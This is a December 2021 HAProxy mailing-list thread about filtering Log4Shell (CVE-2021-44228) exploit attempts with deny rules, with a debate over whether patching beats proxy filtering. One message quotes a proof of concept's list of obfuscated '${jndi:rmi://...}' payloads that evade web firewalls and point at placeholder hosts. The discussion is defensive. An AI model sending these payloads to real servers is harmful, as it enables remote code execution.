Re: Blocking log4j CVE with HAProxy
Hi.
On 14.12.21 10:18, Olivier D wrote:
Hi,
Le lun. 13 déc. 2021 à 19:38, John Lauro mailto:johnala...@gmail.com>> a écrit :
http-request deny deny_status 405 if { url_sub -i "\$\{jndi:" or hdr_sub(user-agent)
-i "\$\{jndi:" }
was not catching the bad traffic. I think the escapes were causing issues
in the matching.
The following did work:
http-request deny deny_status 405 if { url_sub -i -f
/etc/haproxy/bad_header.lst }
http-request deny deny_status 405 if { hdr_sub(user-agent)
-i -f /etc/haproxy/bad_header.lst }
and in bad_header.lst
${jndi:
I tried
http-request deny deny_status 405 if { url_sub -i "\$\{jndi:" or hdr_sub(user-agent) -i
"\$\{jndi:" }
and
http-request deny deny_status 405 if { url_sub -i ${jndi: or
hdr_sub(user-agent) -i ${jndi: }
without success. Can anyone tell what's wrong with both syntaxes ? And how to
escape special chars
correctly ?
There is now a blog post on haproxy.com how to configure haproxy to protect the
backend applications against
the log4j attack.
https://www.haproxy.com/blog/december-2021-log4shell-mitigation/
Olivier
Regards
Alex
Re: Blocking log4j CVE with HAProxy
Hi,
Le lun. 13 déc. 2021 à 19:38, John Lauro a écrit :
> http-request deny deny_status 405 if { url_sub -i "\$\{jndi:" or
> hdr_sub(user-agent) -i "\$\{jndi:" }
> was not catching the bad traffic. I think the escapes were causing issues
> in the matching.
>
> The following did work:
> http-request deny deny_status 405 if { url_sub -i -f
> /etc/haproxy/bad_header.lst }
> http-request deny deny_status 405 if { hdr_sub(user-agent)
> -i -f /etc/haproxy/bad_header.lst }
> and in bad_header.lst
> ${jndi:
>
I tried
http-request deny deny_status 405 if { url_sub -i "\$\{jndi:" or
hdr_sub(user-agent) -i "\$\{jndi:" }
and
http-request deny deny_status 405 if { url_sub -i ${jndi: or
hdr_sub(user-agent) -i ${jndi: }
without success. Can anyone tell what's wrong with both syntaxes ? And how
to escape special chars correctly ?
Olivier
Re: Blocking log4j CVE with HAProxy
You should also take into account path that can have base64 encoded payload.
To me the best bet for protecting via haproxy is using spoa mod_security WAF
given people have already come with a comprehensive protection rules.
Get Outlook for Android<https://aka.ms/AAb9ysg>
From: Nicolas CARPi
Sent: Tuesday, 14 December 2021, 10:27
To: Jonathan Matthews
Cc: Olivier D; HAProxy
Subject: Re: Blocking log4j CVE with HAProxy
On 13 Dec, Jonathan Matthews wrote:
> I believe there are string casing operators available, leading to
> options like "${j{$lower:N}di:ldap://...;.
Indeed. Maybe this can help, it's the "Bypass WAF" part of the POC[0]:
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxx.xx/poc}
So if one can manage to match all of that, it could work.
Of course this block in the POC is immediatly followed by:
Don't trust the web application firewall. ;)
[0]
https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce#bypass-waf
Best,
~Nico
[https://c.ap4.content.force.com/servlet/servlet.ImageServer?id=0156F0DRM7G=00D9000absk=1526270984000]
Know Your Customer due diligence on demand, powered by intelligent process
automation
Blogs<https://www.encompasscorporation.com/blog/> |
LinkedIn<https://www.linkedin.com/company/encompass-corporation/> |
Twitter<https://twitter.com/EncompassCorp>
Encompass Corporation UK Ltd | Company No. SC493055 | Address: Level 3, 33
Bothwell Street, Glasgow, UK, G2 6NL
Encompass Corporation Pty Ltd | ACN 140 556 896 | Address: Level 10, 117
Clarence Street, Sydney, New South Wales, 2000
This email and any attachments is intended only for the use of the individual
or entity named above and may contain confidential information
If you are not the intended recipient, any dissemination, distribution or
copying of this email is prohibited.
If received in error, please notify us immediately by return email and destroy
the original message.
Re: Blocking log4j CVE with HAProxy
On 13 Dec, Jonathan Matthews wrote:
> I believe there are string casing operators available, leading to
> options like "${j{$lower:N}di:ldap://...;.
Indeed. Maybe this can help, it's the "Bypass WAF" part of the POC[0]:
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxx.xx/poc}
So if one can manage to match all of that, it could work.
Of course this block in the POC is immediatly followed by:
Don't trust the web application firewall. ;)
[0]
https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce#bypass-waf
Best,
~Nico
Re: Blocking log4j CVE with HAProxy
On Mon, 13 Dec 2021 at 19:51, Valters Jansons wrote: > > Is this thread really "on-topic" for HAProxy? > > Attempts to mitigate Log4Shell at HAProxy level to me feel similar > to.. looking at a leaking roof of a house and thinking "I should put > an umbrella above it, so the leak isn't hit by rain". Generally, it > might work, but it's not something that you can expect to hold up in > the long run, and it's not something construction folks would advise. This is about reducing the attack surface temporarily. I would rather avoid thousands of euros of water damage in my house or millions of dollars of damage at my employer, just because a contractor can't immediately provide a long term fix. A temporary and incomplete mitigation is better than nothing at all, that doesn't mean it's an alternative to properly fixing the issue. > So just patch/update your vulnerable applications; and where vendors > provide mitigation steps - apply those instead. That is often easier said than done; especially when there is no time. Lukas
Re: Blocking log4j CVE with HAProxy
Valters, On 12/13/21 7:51 PM, Valters Jansons wrote: Is this thread really "on-topic" for HAProxy? "I want to block specific pattern in a header" certainly is on-topic for the HAProxy list. Attempts to mitigate Log4Shell at HAProxy level to me feel similar to.. looking at a leaking roof of a house and thinking "I should put an umbrella above it, so the leak isn't hit by rain". Generally, it might work, but it's not something that you can expect to hold up in the long run, and it's not something construction folks would advise. This is true. However it can be a useful extra layer to keep out the dumb vulnerability scanners that try the shotgun approach of attacking everything (TM) and go away after they realize their first attempt to exploit your app does not work. I don't think that anyone who frequents this list expects that this basic check would be sufficient to fully mitigate the security issue. So just patch/update your vulnerable applications; and where vendors provide mitigation steps - apply those instead. Yes, this is the correct solution in the long run. But we all know the vendors who need extra time even for ultra-critical security updates. If a simple 1-line HAProxy configuration change keeps the dumb automated scanners away for another 24 hours then this might buy you sufficient time to deploy the updated application. Best regards Tim Düsterhus
Re: Blocking log4j CVE with HAProxy
Is this thread really "on-topic" for HAProxy? Attempts to mitigate Log4Shell at HAProxy level to me feel similar to.. looking at a leaking roof of a house and thinking "I should put an umbrella above it, so the leak isn't hit by rain". Generally, it might work, but it's not something that you can expect to hold up in the long run, and it's not something construction folks would advise. So just patch/update your vulnerable applications; and where vendors provide mitigation steps - apply those instead. -- Valters Jansons
Re: Blocking log4j CVE with HAProxy
http-request deny deny_status 405 if { url_sub -i "\$\{jndi:" or
hdr_sub(user-agent) -i "\$\{jndi:" }
was not catching the bad traffic. I think the escapes were causing issues
in the matching.
The following did work:
http-request deny deny_status 405 if { url_sub -i -f
/etc/haproxy/bad_header.lst }
http-request deny deny_status 405 if { hdr_sub(user-agent)
-i -f /etc/haproxy/bad_header.lst }
and in bad_header.lst
${jndi:
That said, this is still incomplete as it is only checking some headers,
and I am sure some incoming bad data will be from POST data which is more
difficult to intercept with haproxy...
(and the request is still logged by haproxy, so if you feed your haproxy
log to log4j it will not help against that...)
Re: Blocking log4j CVE with HAProxy
On Mon, 13 Dec 2021 at 12:51, Olivier D wrote:
> If you don't know yet, a CVE was published on friday about library log4j,
> allowing a remote code execution with a crafted HTTP request.
[snip]
> We would like to filter these requests on HAProxy to lower the exposition. At
> peak times, 20% of our web traffic is scanners about this bug !
[snip]
> http-request deny deny_status 405 if { url_sub -i "\$\{jndi:" or
> hdr_sub(user-agent) -i "\$\{jndi:" }
> What do you think ?
I don't have an explicit example, but my understanding is that log4j's
"${foo}" strings, which need to result in "${jndi:ldap://}"
to trigger the exploit, are recursively expanded.
Thus (again, having neither an example nor any expertise with log4j)
the space of things you'd need to filter out becomes rather large. I
believe there are string casing operators available, leading to
options like (but probably not precisely!)
"${j{$lower:N}di:ldap://...;.
Whilst I'm sure you could reduce your malicious traffic volumes with a
static rule, as you mention, I'm not sure it's a good idea to give
anyone the impression that this can be anything more than a /very/
incomplete sticking plaster over the issue!
All the best,
Jon
--
Jonathan Matthews
https://jpluscplusm.com
Re: Blocking log4j CVE with HAProxy
On 13.12.21 14:53, Lukas Tribus wrote: On Mon, 13 Dec 2021 at 14:43, Aleksandar Lazic wrote: Well I go the other way around. The application must know what data are allowed, verify the input and if the input is not valid discard it.´ You clearly did not understand my point so let me try to phrase it differently: The log4j vulnerability is about "allowed data" triggering a software vulnerability which was impossible to predict. ah okay, then please accept my apologize for misunderstanding you. Lukas Regards Alex
Re: Blocking log4j CVE with HAProxy
On Mon, 13 Dec 2021 at 14:43, Aleksandar Lazic wrote: > Well I go the other way around. > > The application must know what data are allowed, verify the input and if the > input is not valid discard it.´ You clearly did not understand my point so let me try to phrase it differently: The log4j vulnerability is about "allowed data" triggering a software vulnerability which was impossible to predict. Lukas
Re: Blocking log4j CVE with HAProxy
On 13.12.21 14:03, Lukas Tribus wrote: On Mon, 13 Dec 2021 at 13:25, Aleksandar Lazic wrote: 1. Why is a input from out site of the application passed unchecked to the logging library! Because you can't predict the future. When you know that your backend is SQL, you escape what's necessary to avoid SQL injection (or use prepared statements) before sending commands against the database. When you know your output is HTML, you escape HTML special characters, so untrusted inputs can't inject HTML tags. That's what input validation means. How exactly do you verify and sanitise inputs to protect against an unknown vulnerability with an unknown syntax in a logging library that is supposed to handle all strings just fine? You don't, it doesn't work this way, and that's not what input validation means. Well I go the other way around. The application must know what data are allowed, verify the input and if the input is not valid discard it. In any case, the user input should never send directly to the database! There are a lot of options in many different languages to quote or prepare some Queries *before* they send to the database. I know that this is a lot of work because I do this in almost every of my programs but security and error handling is a must in currently applications and I would say at least 1/3th of an appliation. We see this in haproxy quite good as there are a huge mount of checks for null, expected types and a lot other checks that's why haproxy is so robust and secure, imho. But I think this is now off topic, let's mail off-list further, okay? Lukas Regards Alex
Re: Blocking log4j CVE with HAProxy
On Mon, 13 Dec 2021 at 13:25, Aleksandar Lazic wrote: > 1. Why is a input from out site of the application passed unchecked to the > logging library! Because you can't predict the future. When you know that your backend is SQL, you escape what's necessary to avoid SQL injection (or use prepared statements) before sending commands against the database. When you know your output is HTML, you escape HTML special characters, so untrusted inputs can't inject HTML tags. That's what input validation means. How exactly do you verify and sanitise inputs to protect against an unknown vulnerability with an unknown syntax in a logging library that is supposed to handle all strings just fine? You don't, it doesn't work this way, and that's not what input validation means. Lukas
Re: Blocking log4j CVE with HAProxy
On 13.12.21 11:48, Olivier D wrote:
Hello there,
If you don't know yet, a CVE was published on friday about library log4j,
allowing a remote code execution
with a crafted HTTP request.
We would like to filter these requests on HAProxy to lower the exposition. At
peak times, 20% of our web
traffic is scanners about this bug !
The offended string is "${jndi:". It must be filtered on any fields that could
go to log servers:
- URL
- User-Agent
- User name
What would be the easier way to do that ? If I give it a try :
http-request deny deny_status 405 if { url_sub -i "\$\{jndi:" or hdr_sub(user-agent) -i
"\$\{jndi:" }
What do you think ?
Basically it could be any header which is used by the application which uses to
send it unchecked and
unverified to the logging library.
The assumption or the fields are valid but not enough, from my point of view.
There is a quiet nice blog post https://isc.sans.edu/diary/28120 about this
topic.
For my point of view is the key statement in the blog below.
"as long as it reads some input from an attacker, and passes that to the log4
library"
There are 2 main question here.
1. Why is a input from out site of the application passed unchecked to the
logging library!
2. I the lookup really necessary for the application or only a lazy way to
solve some topics?
This CVE creates a lot or noise but I haven't seen anywhere that someone asked
this simple questions.
The sad fact is that one of the main development rule is broken here from the
developing peoples, and this
is a quite old rule.
Check and verify EVERY Input from the "User".
From my point of view can the "http-request deny" rule be added but which else
header should be included?
The "referer" Header is also a nice injection option because some apps want to
know from which location a
request is cumming and this is a know header how about some specific app headers
"X-???"?
Olivier
Jm2c
Regards
Alex
